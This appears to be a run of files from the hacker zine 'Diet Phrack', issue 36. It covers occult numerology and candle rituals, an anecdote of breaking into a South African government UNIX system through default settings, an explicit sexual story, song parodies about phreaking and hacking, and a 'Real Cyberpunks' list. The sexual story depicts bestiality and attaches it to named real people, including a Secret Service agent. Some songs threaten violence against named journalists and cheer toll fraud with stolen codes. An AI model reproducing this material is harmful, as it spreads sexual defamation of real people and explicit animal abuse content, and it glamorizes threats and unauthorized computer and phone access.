Some in our order have found insight by reflecting on the various meanings that can be derived from the numerical values of telephone numbers using the Cabalistic method of numerology.

Those that use this method have focused on one particular method of number determination:

Example: 800‑555‑1212

800 = 400 + 300 + 100

555 = 400 + 100 + 50 + 5

121 = 100 + 20 + 1

2 = 2

One can also obtain other numbers for contemplation by the following method:

800‑555‑1212 = 8 + 0 + 0 + 5 + 5 + 5 + 1 + 2 + 1 + 2 = 29

= 2 + 9

= 11

= 1 + 1

= 2

All of the above values are related. A total contemplation of the meanings of all values will lead to a more complete understanding of the true meanings.

These numbers each correspond to a particular Hebrew letter and word, as well as a card in the Major Arcana of the Tarot.

The following is a table to be used for the above.

1 Aleph Ox 0‑The Fool

2 Beth House I‑The Magician

3 Gimel Camel II‑The High Priestess

4 Daleth Door III‑The Empress

5 Heh Window IV‑The Emperor

6 Vav Nail V‑The Hierophant

7 Zayin Sword VI‑The Lovers

8 Cheth Fence VII‑The Chariot

9 Teth Serpent VIII‑Strength

10 Yod Finger IX‑The Hermit

20 Caph Palm of hand X‑The Wheel of Fortune

30 Lamed Whip XI‑Justice

40 Mem Water XII‑The Hanged Man

50 Nun Fish XIII‑Death

60 Samech Arrow XIV‑Temperance

70 Ayun Eye XV‑The Devil

80 Peh Mouth XVI‑The Tower

90 Tzaddi Hook XVII‑The Star

100 Qoph Back of head XVIII‑The Moon

200 Resh Head XIX‑The Sun

300 Shin Tooth XX‑Judgement

400 Tau Cross XXI‑The World

One may wish to further research numbers by taking particular groupings and cross referencing them in the "Sepher Sephiroth" which can be found in "The Qabalah of Alister Crowley."

OTHER CANDLE BURNING RITUALS

Should one come into conflict with authorities for any reason, any or all of the following will prove useful.

To gain favor with authorities

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "JASCHAJAH" on the candle.

5. Light the candle.

6. Read aloud the fifth Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

To obtain favors from important people

1. Obtain a green candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "PELE" on the candle.

5. Light the candle.

6. Read aloud the thirty‑fourth Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

For favor in court cases

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "JAH" on the candle.

5. Light the candle.

6. Read aloud the 35th and 36th Psalms..

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

To regain credibility after being defamed by enemies

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "ZAWA" on the candle.

5. Light the candle.

6. Read aloud the 41st, 42nd, and 43rd Psalms.

7. Pray for the desired outcome after reading each Psalm.

8. Concentrate on the desired outcome.

9. Repeat 6 through 8 two more times.

10. Repeat for three days

To help release one from imprisonment

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "IHVH" on the candle.

5. Light the candle.

6. Read aloud the 71st Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

For help in court cases

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "IHVH" on the candle.

5. Light the candle.

6. Read aloud the 93rd Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

To gain favor in court cases

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "LAMED" on the candle.

5. Light the candle.

6. Read aloud the 119th Psalm, verses 89‑96.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

To gain favor in court

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "IHVH" on the candle.

5. Light the candle.

6. Read aloud the 120th Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

To gain favor when approaching a person of authority

1. Obtain a purple candle

2. Anoint the top of the candle with olive oil and rub it downward to the middle of the candle.

3. Anoint the bottom of the candle with the oil and rub it upwards to the center.

4. Carve the letters "IHVH" on the candle.

5. Light the candle.

6. Read aloud the 122nd Psalm.

7. Pray for the desired outcome.

8. Concentrate on the desired outcome.

*** Each candle can only be used for one particular purpose. One must prepare a new candle for each ritual.

ASTRAL CONFERENCING

Some of our number after having found it quite difficult to contact other members took a new approach to astral projection. Astral conferencing became the spiritual counterpart to AT&T's Alliance Teleconference. Members would arrange to meet at a given time and would relay any necessary information during these sessions. This type of communication was made the standard due to its legality, its speed, and the impossibility of interception by federal authorities.

To attempt this type of psychic travel, it is advised that the seeker look elsewhere for instruction on building his or her own psychic powers, and slowly moving upwards to the complexities of travel on the Astral Plane. One must learn to stand before learning how to run.

WARNINGS ABOUT ABUSES OF POWER

Some members have taken their interests to the extreme. There was talk some years ago about blood offerings to obtain knowledge in dealing with the TRW credit system. This was a complete failure which was done with out knowledge by others in the order. It is written in Isaiah:

1:11 "I am full of the burnt offerings of rams, and the fat of fed beasts; and I delight not in the blood of bullocks, or of lambs, or of he goats."

66:3 "He that killeth an ox is as if he slew a man"

Those who committed the above offering suffered greatly for their deed, for such is an abomination before the Lord. It is wise to learn from their mistakes.

Other members have attempted such obscure measures as psychic data corruption, ala Uri Geller. These attempts saw little success, and left those attempting the feats psychically exhausted and drained for nearly a week.

Other members have attempted to thwart enemies such as the Secret Service, the FBI, journalists such as Richard Sandza, and individuals such as John Maxfield though magical means. When the outcome desired was weak, the results were high, but when a member actually tried to bring about the demise of a Southern Bell Security official, the power of the spell reversed and the member was soon placed under surveillance by the Secret Service, nearly causing disaster for the entire group, and completely dissolving the power of the order.

One may find that once such power is somewhat mastered, it is easy to take shortcuts and thereby miss safety precautions. One must never forget to take these precautions, for disaster looms at every junction.

The three members linked to the above incident had become well versed in the magical system of Abra‑Melin the Mage. The spell which turned should never have been used in the first place. The spell was designed to stop a person's heart and could only be carried out with the help of the evil spirit Belzebub. The Symbol

L E B H A H

E M A U S A

B

H

A

H

was used, yet the full precautions to protect the invoker from the spirit were ignored, and Belzebud ran free to affect whatever he saw fit to affect. They had seen prior success in this system using a symbol to obtain knowledge of things past and future and were able to obtain a great deal of information from various computer systems. However, that particular spell is invoked by the Angels, and little precaution need be taken in that instance. That Symbol:

M I L O N

I R A G O

L A M A L

O G A R I

N O L I M

AN INTERESTING EXAMPLE OF OCCULT INFLUENCED HACKING

One particular evening of Ouija ended with a DNIC and a plea to halt the operation of the system. When members connected to this system they were shocked to find that it was a UNIX belonging to the Ministry of Treasury in the Republic of South Africa. The system was networked to a number of other government systems. Several standard defaults were still unprotected, and root was gained in a matter of minutes. A debate ensued over whether or not to disrupt the system in protest of Apartheid, but the system was left unscathed on the premise that to cause malicious damage would only make things worse.

CLOSING

Once the doors to ancient knowledge have been opened, the knowledge found within is immense and incredibly powerful. Do not fear experimentation and exploration, but be mindful of the existence of God and the spirits, and respect their power. Use whatever means necessary to achieve desired goals, but at no times cause harm to any other person, and do nothing out of aggression. Whatever degree of energy is sent forth will come back, if one sends out positive energy, positive energy will flow back; the converse of this is equally valid. Diversify one's interests, develop the mind, seek out hidden and suppressed knowledge, and experience the beauty of the true nature of magic.

Frater Perdurabo Deo Duce Comite Ferro

Inner Order of LOD

Searching for speciAl acceSs agentS

==Diet Phrack==

Volume Three, Issue Thirty‑six, File 7 of 11

@@@@@@@@@@@@@@@@@@@@@

@

@ Searching for SpeciAl accesS agentS @

@

@ by: Dr. Dude @

@

@@@@@@@@@@@@@@@@@@@@@

This is a true story of how United States Secret Service Agent Tim Foley discovered three of his freinds and later recruted them as speciAl accesS agentS into the hacker world. After seeing how well his recruits performed, Tim Foley recruted Barbera Spinelli (AT&T Security) and Toni Ames (a/k/a Pink Death of Pacific Northwest Security) and Dale Drew (a/k/a The Dictator) as speciAl accesS agentS for the purpose of undermining the computer underground. After this little incident Toni was nicknamed "Pink Death."

Our story is narrated by Pink Death!

@@@@@@@ Toni Ames plays: herself

The Dale Drew plays: YOU'LL SEE!

Players Tim Foley plays: with himself

@@@@@@@ Barbera Spinelli plays: with everyone

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I was reading a story in an adult magazine about this girl that was eaten out and fucked by a German Shepherd dog. Now to some of you, this probably sounds gross. However, I was turned on by the story and wanted to read more stories like it. Well I never found any. While I am sure that there is a mag out there that has lots of stories like it, just haven't found it yet.

Anyway, one day I was talking to my friend Barbera Spinelli and brought the subject up. Barbera Spinelli had never read such a story before. Since we were at my house, I got the magazine out and let her read it. She didn't get as turned on as I did, but said that she would like to watch someone get licked and fucked by a dog. I told Barbera Spinelli the story made me very very horney. Barbera Spinelli said that she doubted that she could get horney enough to do it with an animal. I told her that it made me very horney and that I didn't think I could do it, but I did want to read about other people doing it with animals.

Well, that subject was dropped, we continued to talk about other things while drinking wine. After two bottles we got very tipsy and started talking about sex. The next thing we knew, we were naked and in the pool, having a great time. Well, I have had sex with women before, but never with Barbera Spinelli. I didn't know how she felt about making love to women, and never asked. Well I noticed her staring at my 38‑2636 body. I got out of the pool and posed. I said, "What do you think"? She said that I had a great body and a nice pair of tits. I spread my legs and opened up my pussy with my fingers showing Barbera Spinelli my pink inner lips and now extended clit. Squeezing my erect clit while I shoved two fingers up my soaking cunt I told Barbera Spinelli I would like to do it with her. With that, I jumped into the pool grabbed her head and shoved it between my tits as I probed her tight cunt with my fingers and said, well if you like them so much why don't you suck them. I was ready for her to protest, but instead she said okay, and sucked my tits gently as I continued to ream her tight pussy. She said to me, I have wanted you for the longest time but didn't think you would want to make love with me.

We dried off and went into my bedroom I had Barbera Spinelli lie back on my bed and crawled up between her legs and began to suck her stiff pink nipples as I massaged her hot slippery slit. In no time I had her moaning with pleasure and moved down to her sweet tasting cunt probing her tight pink hole with my tongue. Barbera Spinelli quickly had a strong climax and flooded my mouth with her sweet juices. I got off her and went to my dresser getting out two of my favorite toys, a 12 inch vibrator and a long thin anal probe. Barbera Spinelli gasped at the sight of me armed with my toys and begged me to fuck her with them. I moved back to Barbera Spinelli and straddled her face as I massaged her firm young tits. Giving Barbera Spinelli the anal probe I instructed her to fuck my asshole while she ate my pussy. I slowly lowered my soaking snatch to her lips and tongue as Barbera Spinelli pushed the long dildo firmly up my taught asshole. The feeling of that long shaft penetrating my ass made me quiver as Barbera Spinelli repeatedly thrust her long tongue up my cunt and licked and sucked my clit. We had hardly begun when I had my first orgasm wetting Barbera Spinelli's face with my thick pussy juice. Barbera Spinelli begged me to fuck her cunt with the vibrator and I bent willingly to my work spreading her swollen cunt lips and probing her tight twat with the vibrator as I licked her swollen distended clit and fingered her tight little anus. Barbera Spinelli came long and hard as she continued her assault on my pussy and anus reaming my cunt with her fingers as she licked my clit and pounded the probe up my anus bringing me to on one orgasm after another.

In our lust we had not noticed Tim Foley my lover come in, the first I knew of his presence was when Barbera Spinelli squealed and I felt her fingers withdraw from my steaming twat only to be replaced by Tim Foleys two inches of hard thick cock. Looking back I saw the familiar look of lust in my lovers face as he reamed my pussy with his tiny thin prick and rammed the anal probe in and out of my well lubricated asshole. Barbera Spinelli resumed her assault on my swollen clit and I on her twitching cunt and asshole. In no time I felt Tim Foley's thick load shoot up my cunt as he pounded out his passion. I came quickly as did Barbera Spinelli licking up her juices as she swallowed the overflow of my lovers sperm from my cunt and clit. At last I thought our secret is out, Tim Foley and I had been fucking for about a year and I had always wanted to have him and a woman together. Barbera Spinelli was begging for Tim Foley's stiff cock and I had her get up in the doggy position as Tim Foley licked her tight puckered anus and slowly inserted the anal probe up her twitching rectum. I sucked his still stiff cock into my mouth and rammed it deep in my throat until it grew to enormous proportions. Barbera Spinelli in the meantime had renewed her assault on my cunt clit and anus forcing the rampaging vibrator up my steaming slit as she licked my hard clit and finger fucked my juicy asshole. Sensing Barbera Spinelli's need I pulled Tim Foley's prick from my mouth and pushed the head into Barbera Spinelli's pink pussy. Tim Foley took it from there and rammed his hard cock deep into her twitching vagina until his balls slapped her cunt lips. I continued to suck and lick her clit until Barbera Spinelli had two orgasms and Tim Foley filled her tight slit with gallons of cum. The sight of his sticky sperm dripping from her slit made me climax again and I licked her cum slickened snatch until I had sucked down all of my lovers sweet cream.

Barbera Spinelli and I moved to a side by side position and continued to tongue fuck each others cunts as Tim Foley sat an rested watching our pleasure. In no time his cock was renewed and he began to finger Barbera Spinelli's tight back door. Seeing his lust for my friends asshole and having denied this pleasure to him in our private sessions I decided to let Tim Foley fuck me in the ass. I called him over and told him to fuck my butt while Barbera Spinelli ate my pussy. Tim Foley was overcome with desire as he moved in behind me and gently spread my ass cheeks lowering his face between the cheeks of my ass and probing my tight asshole with his tongue. I begged him to ream my anus with his big dick and he had Barbera Spinelli guide his rock like cock up my asshole while he pounded me to orgasm. I continued to lick Barbera Spinelli and made her cum just as Tim Foley shot his load up my ass. The feeling of his hot sperm filling my anus made me climax and nearly pass out. When I regained my senses I could feel Barbera Spinelli's tongue swirling in and out of my anus as she collected his sperm from my asshole. Tim Foley was great and he had moved to Barbera Spinelli's asshole and begun to lick her tight pink puckered asshole as I tongue fucked her hot cunt. I could tell Tim Foley was ready again and heard Barbera Spinelli beg him to ram his big thick dick up her ass. Tim Foley got into position and I guided his throbbing meet up her sweet tight little asshole watching as Tim Foley pressed it into her until only his balls were visible. I continued my tongue fucking of her cunt and licking her clit as I felt her convulse time and time again in sweet orgasm. Soon I to climaxed from her tongue and fingering of my cunt and anus and Tim Foley came filling her tight butt with his sperm which I gladly licked up. Tim Foley was happy but drained and left us to continue our games. All in all we made love for three hours. When she left to go home, she invited me over the next day to "Play around some more".

Saturday afternoon I went over to Barbera Spinelli's house to play. She invited me in. She was wearing a black leather mini, black blouse, black fish net stockings and garters, and high heels. She was hot. I was also wearing a mini, I also had on a halter top, and heels. She told me to get on my knees and look under her shirt. What I saw was a beautiful, clean shaven cunt. I reached up to touch her but she stopped me. She said that I would first have to touch my own shaved cunt. She said she would shave me like she did herself this morning. We went to the bathroom and she undressed me. What I great sensation it was to have her shave. When she was done she cleaned me off, grabbed me by the hand and led me to her room. She told me to lay on the bed and play with my new cunt.

As I laid there, I began to rub my cunt, what a feeling. I went wild. It felt so good. No pubic hair, just skin, sensitive skin. She watched me as she got undressed. She got into the bed with me and moved her cunt to where I could eat her. She was, and still is, so sweet tasting. As I ate her she played with my cunt, sticking in a finger then rubbing my clit. She would stop as I got to excited. I ate her and she came twice, yet she wouldn't let me cum. She then got up and left the room. She came back with some nylon straps and said that if I wanted to cum I would have to let her tie me to the bed. She said she would not hurt me. I agreed.

She tied my wrists and ankles to the bed so that I was spread eagle. She then got out a vibrator and began to work on my sensitive clit. The vibrator made me so horney, but she would not leave it on my clit long enough to make me cum. I tried to thrust my hips to meet the dong, but to no avail. She would then stick the dildo in and slowly pull it out, then repeat the treatment on my clit. I was begging to cum. She bent between my legs and tasted my juice hole and said that I was wet enough to get my SURPRISE. Again she left the room. When she returned she was followed by my SURPRISE. It was her Great Dane, Dale Drew! She asked how horney was I and I knew what she meant. I shook my head yes.

She patted the bed and Dale Drew jumped up. She then took the dogs nose and stuck it between my legs. I must have been twice as wet by now. The dog knew exactly what to do. He began to lick my hole. I couldn't stand it and I came twice, right away. This made him lick even faster. I could not believe the feeling. There was no strong probing like a humans tongue, just enough pressure and entry to do the job. As the dog continued to eat me out Barbera Spinelli unfastened me from the bed. Barbera Spinelli began to play with Dale Drew's cock and I watched as it began to grow stiffening in her hand until it had grown to about 8inches in length. Dale Drew was in a frenzy by now and his hot wet tongue was lapping hard and fast on my exposed cunt. Dale Drew's cock was long,thin and stiff as a board as Barbera Spinelli continued to massage it and his balls. Barbera Spinelli said that she thought the dog's cock was hard enough to start. She grabbed a couple of small pillows and placed them under my ass. Then guided the Dale Drew on top of me. His face was next to mine, I could feel his hot breath on my face. His hairy body resting on my stomach. Barbera Spinelli put her hand on his cock and gently guided it toward my fuck hole. As soon as the dog felt my wetness, nature took over. He fucked me fast and very deep. I came again, and again. Then I felt him tense and squirt inside me. He slipped out and shot some cum on my stomach. Dale Drew then reversed his position and began to lap my cunt again with his long wide tongue. With Dale Drew in this position I could see his long thin cock still exposed and still fairly stiff. Not wanting the experience to end I reached up and began to massage his cock and balls. The dog responded at once and began to fuck my hand as he licked my hot pussy to another orgasm. I asked Barbera Spinelli to help me and rolled over on my stomach spreading my legs and ass cheeks making my anus open and available to Dale Drewes wet tongue. Seeing my waiting asshole Dale Drew began to lick me there while Barbera Spinelli took over my handwork on her dogs cock. Barbera Spinelli moved Dale Drew around and he mounted me doggy style and began to dry hump my ass. Barbera Spinelli spread my ass further and guided Dale Drewes long thin cock into my asshole. The tightness of my ass sent Dale Drew in to ecstasy and he rammed his long thin dick in and out of my asshole with long fast strokes. All I can remember is the feeling of his long dick probing my rectum and driving me to orgasm after orgasm until he filled my ass with his sticky dog cum.

As I laid there,I thanked Barbera Spinelli for what she did and told her that it was great. Since then I have fucked her dog twice. He is not always in the mood and sometimes it takes a lot of hand work to get him interested. I have fucked Barbera Spinelli so many times I can't count them and she I and my lover Tim Foley get together after school almost three times a week. Barbera Spinelli now says that she thinks she will try Dale Drew the next time he is ready.

I can't wait.

Phreaks in Verse II

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 8 of 11

:‑=>|%% Phreaks in Verse II %%|<=‑:

by Homey the Hacker

\=========

Get in The Ring

/=========

[Sung to the tune of Get in The Ring by G‑n‑f‑R]

Why do you look at me when you hate me?

Why should I look at you when you make me hate you too? I sense a smell of retribution in the air

I don't even understand why the fuck you even care And I don't need you jealousy

Why drag me down in your misery

And when you stare you don't think I feel it

But I'm gonna deal it back to you in spades

When I'm havin phun ya know I can't conceal it 'Cause you know you'd never cut it in my game, oh yea And when you're talkin about our sociology

I'll be writin' down your obituary...History

You got your agents with

The Bellcore cash injections

Trumped up charges and implications

Beatin' off with your "spy" operations

Who are you to criticize our publication

Got your subtle manipulative devices

Just like you, I got my vices

I've got a thought that would be nice

I'd like to crush your head tight in my vice...PAIN!!

And that goes for all you punks in the press

That want to start shit by spreadin' lies

Instead of the things we said

That means you

Ed Schwarz at WGN Radio

Richard Sanzda

Gary Collins at Hour Magazine

Geraldo River at CBS ** [CBS being partially owned AT&T] What you pissed off 'cause Opra Winfrey gets more ratings that you do? Fuck You

Suck my fuckin' dick

You be liein' to the fuckin' public

Tellin' them your doin' a such favor for society

[while crack dealers like Mayor Barry who should be tried for treason get off with slap on the wrist. FUCK YOU!]

While they be payin thier hard earned tax dollars Printin' lies, Startin' controversy

You want to antagonize me?

Antagonize me motherfucker

Get in the ring motherfucker

And I'll kick your bitchy little ass, punk

I don't like you, I just hate you

I'm gonna kick your ass, oh yea!

Ha Ha Ha Ha Ha Ha Ha Ha Ha!!!!!!!

You may not like our integrity

We built a world out of anarchy

And in this corner weighing in at 450 lbs, Phrack Incorporated!!!!

Get in the ring!

Yea, this song is dedicated to all the Phrack fuckin' Incorporated Fans that stuck with us through all the fucking shit

And to all those opposed...Hmm...Well

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\=======

Knight Lite*

/=======

*1/3 the calories of regular computer hackers. [Sung the tune of The Beverly Hillbillies]

Come and and listen to my story 'bout boy named Craig.

Called "Mad‑hacker", but is just pullin' your leg.

Then one day he was writin' up a Phrack.

Down came the door with a great big crack.

Foley that is, Secret Service!, FBI!

Well, now old Craig's a million in debt.

Lost his cds and his brand new 'vette.

Mitch Kapor said, "There's someplace you need to be."

So he packed up his apple and moved to DC.

Washington that is!, Lawyers!, Cash flow!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\=======

Erik Bloodaxe

/=======

[Sung to the tune of the Daniel Boone theme]

Erik B was a ham...yes a big ham.

He was born with an ego that was big as mountain was he.

Erik B was ham...yes a big ham.

And he told all the ladies he was hung like a mighty oak tree.

>From the dark sun glasses he never takes off to the heal of his K‑Mart shoes. The bitchenest, horniest, drunkenest man that a hacker ever knew.

Erik B was a ham...yes a big ham.

With a mouth like a sewer and so full of manure was he.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\=========

Vanilla Holliday

/=========

[Sung to the tune of ICE ICE]

Doc, Doc, baby! Doc, Doc, baby!

Lookout!

The Doc is back. King of the Phreaks, and Queen of the Hacks. "I'll get ya laid yet!" I say with a grin. Meanwhile my hand goes for a spin. I'm a master cracker, a k‑rad hacker, a good 'ole plain down and dirty wacker. I'll trash your credit if you diss me. You know why? 'Cause I'm the LOD!

Hit it Booyyyeeeeezzzz!!

Doc Doc baby! Doc Doc Baby!

Ya, ya, go get it!

Doc Doc baby! Doc Doc Baby!

Straight to your mother's cousin's uncle's stepsister!

Get back! It's a hack attack! I'm the best, and that's a fact I've been in Time, Newsweek‑‑they all want me. What's next? M‑TV! I'm gone today, wasn't here tomorrow, maybe I'll get a date with Charo Ice, yah that was me. But now I've got movie rights with LOD!

Kick it!

Doc Doc baby! Doc Doc Baby!

Go Doc Go Doc go!

Doc Doc baby! Doc Doc Baby!

Yahhhhhhhhhh, straight to Comsec!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\======

Predit0r ][

/======

[The predator rap]

His name is Predat0r. He's the editor of TAP.

He looks like Bart Simson and he's so full of crap.

Got a board call the Blitzkreig BBS.

He wishes he was nazi serving under Herman Hess.

(oh well that's all I can think of)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\============

Been Caught Phreaking

c0deZ's Addiction

/============

[been caught Stealing by Jane's Addiction]

Been caught phreaking, once, when I was five!

I just tried phreaking, just as simple as that

Well it's just a simple fact

When I want a call and I don't want to pay for it

I dial up a code

and I dial up a code

Hey all right! I get by!

It's mine! Mine all mine!

hey!

Yea, my girl she's one too.

She gonna get on telenet, just type in microwire

Get a NUA for me

She'll call right through the outdial

Call right throught the outdial

Hey all right! I get by!

It's mine! Mine all mine!

Get c0dez!

Sat around the terminal. Sat and laughed.

Sat around the terminal and laughed

And we did it just like that, did it just like that.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\====

Hack

/====

[Sung to the tune of Stand by REM]

Hack in the place where you live

Now dial out

Think about telnet, wonder why you have it now

Hack in the place where you work

Now dial up

Think about tymnet, wonder why you have it

If you are real board hack with SUN

Carry a lap‑top to help along

A PAD is there to move you around

If You're not careful your hands will be bound

Hack in the place where you live

Now dial out

Think about telnet, wonder why you have it now

Hack in the place where you work

Now dial up

Think about tymnet, wonder why you have it

A PAD is there to move you around

If you're not careful your hands will be bound

If accounts were trees

Trees would be falling

Listen to reason

Foley is calling

_ _

(reapeat an (_X_) amount of times)

Now Hack!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\=============

I'M THE MAN WITH THE BOX

/=============

[Sung to the tune of "Man in the Box" by Alice in Chains]

I'm the man with the box

Burried in my (ESS7) switch!!!

Won't you come and save me, save me?

Feed me lies, where are all your trunks?

(Bellcore) deny your maker

He who tries will be wasted

Feed me lies, now you've shut your trunks!

I'm the dog who phreaks

Can't shove my tones in a switch

Won't you come and save me?

Feed me lies, where are all your trunks?

Bellcore, deny your maker

He who tries will be wasted

Feed me lies, now you've shut your trunks!

Feed my lies, where are all your trunks?

Bellcore, deny your maker

He who tries will be wasted

Feed me lies, now you've shut your trunks!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\==================

Keep on Hackin in the Free World

/==================

[Sung to the tune of Keep on Rockin in the Free World by Neil Young]

There's CERT on the sceen

Trying to get a clue

Hackers typin on thier screen

Phreaks with boxes that are blue

There's a warning sign in CUD ahead

There's a lot of people sayin

We'd be better of dead

Don't feel like Satan

But we are to them

So I try to forget it anyway I can

Keep on hackin in the free world (4x)

I see a phreak in night

With some trash in his hand

There's an old CO

With a garbage can

Now he takes the trash away

And he's gonna learn a lot

Goes home to hack some more

And he's not gonna a stop

Keep on hackin in the free world (4x)

Got a thousand points of light

On our modems, man

Got a brand new Lexicon in my hand

He found department stores

with carbon paper

Got Crimson Death & Dispater

They say Phrack is back

Gonna keep hope alive

Got codes to crack

Got dumpsters to dive

Keep on hackin in the free world (4x)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\=======

FADE TO HACK

/=======

by Erik Bloodaxe

[Sung to the tune of "Fade to Black" by Metallica]

Accounts just seem to fade away

Losing access every day

Getting lost within some shell

I have lost the will to hack

No more passwords left to crack

There are no more nets for me

I need virtual reality

Nets arent what they used to be

Someone's always logging me

Access Barred, this cant be real

No more packets left to steal

Now they've installed public key

And they're using Secure ID

Security awareness taking dawn

I was root, but now root's gone

Rerouted my call to save myself, but it's too late

Now I can't think, think why I should even try

Yesterday seems as though it never existed

The SS greet me warm, now I will just say goodbye

Real Cyberpunks

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 9 of 11

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| THE MEN FROM |

| M M OOOOO N N GGGGG OOOOO | | MM MM O O NN N G O O | | M M M O O N N N G GG O O | | M M O O N NN G G O O | | M M OOOOO N N GGGGG OOOOO |

|

| ‑*‑ present ‑*‑ |

|

| +‑‑‑‑‑‑‑‑

| | Real Cyberpunks | |

| +‑‑‑‑‑‑‑‑

|

| 9/24/91

|

| With all this shit in the news and now a book about cyberpunks, we have| |a bunch of lame assholes who think they are cyberpunks running around | |blackening the name. In response to this we'd created this g‑file so | |everybody can tell the lamers from the real cyberpunks. Most of these | |wanna‑be cyberpunks will probably be offended by what we're going to say, | |because the description of what defines a real cyberpunk doesn't apply to | |them. Remember though, cyberpunk is mostly an attitude (this g‑file | |describes physical manifestations of this attitude), and real cyberpunks | |don't get upset over something written in a g‑file. |

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CLOTHING

‑ Real cyberpunks don't wear paisley, or any of that other neofuturistic, yuppie, artfag shit.

‑ Real cyberpunks wear military surplus clothing, non‑neon colored Gortex, bluejeans, boots (combat or motorycle), Factsheet‑5 T‑Shirts, and kilts (on formal occasions).

‑ Real cyberpunks don't shop at Banana Republic or the "Mainframe" clothing section at Sears.

‑ Real cyberpunks have the balls to go to Thrift Shops. Corollary to the above: Anyone who makes fun of a cyberpunk shopping at a thrift shop usually winds up in ICU.

COMPUTERS

‑ Real cyberpunks don't use IBM PCs or Tandy 1000s.

‑ Real cyberpunks that have the $$$ use 486s, and 68030s.

‑ Real cyberpunks that don't have the $$$ use whatever the hell they can get ahold of (except IBM PCs an Tandy 1000s).

‑ All real Cyberpunks still own a TI‑99/4A, S‑100, Apple ][ w/Apple Cat, or an Atari 130XE with ATR8000 & 850 interfaces as their backup machine.

‑ Real cyberpunks program in assembler and ADA.

‑ Real cyberpunks think C is cute for a fuck‑around language.

‑ Real cyberpunks think of the Amiga as a cute toy.

‑ Real cyberpunk SYSOPS run Stonehenge.

‑ Real cyberpunks realize the Apple Cat was the best modem ever made.

CARS

‑ Real cyberpunks drive whatever they can afford.

‑ Real cyberpunks never drive an unmodified vehicle.

‑ Real cyberpunks think Audi, BMW, and Mercedes cars serve best as rocket launcher targets.

‑ Real cyberpunks who can afford them drive something with a V‑8. Corollary to the above: Real cyberpunks go to every police auction in their area.

TECH

‑ All real cyberpunks have their ham license.

‑ Real cyberpunks know the difference between a resistor and a capacitor.

‑ Real cyberpunks know where to get tech cheap in their area. Corollary to the above: Real cyberpunks practically live at their local surplus store.

‑ Real cyberpunks think Radio Shack sucks, but still buy from there because it's convenient.

Corollary to the above: Real cyberpunks put pragmatism before principle.

‑ Real cyberpunks always carry a Leatherman Tool. Corollary to the above: Real cyberpunks know what a Leatherman Tool is.

‑ Real cyberpunks own a dual‑band HT.

Corollary to the above: Real cyberpunks know what a dual‑band HT is. Corollary to the corollary: Real cyberpunks have hosed McDonalds at least once.

‑ Real cyberpunks know how use a TDR.

Corollary to the above: The have also managed to get ahold of one for free.

POLITICS & LAW

‑ Real cyberpunks are politically aware, but avoid getting involved in that bullshit.

‑ Real cyberpunks think all politicians should be castrated. Corollary to the above: Real cyberpunks are libertarians.

‑ Real cyberpunks have copies of their state's law statues.

‑ Real cyberpunks know the difference between the Declaration of Independence and The Constitution.

Corollary to the above: Real cyberpunks know what both of those say.

‑ Real cyberpunks don't get caught.

KNOWLEDGE

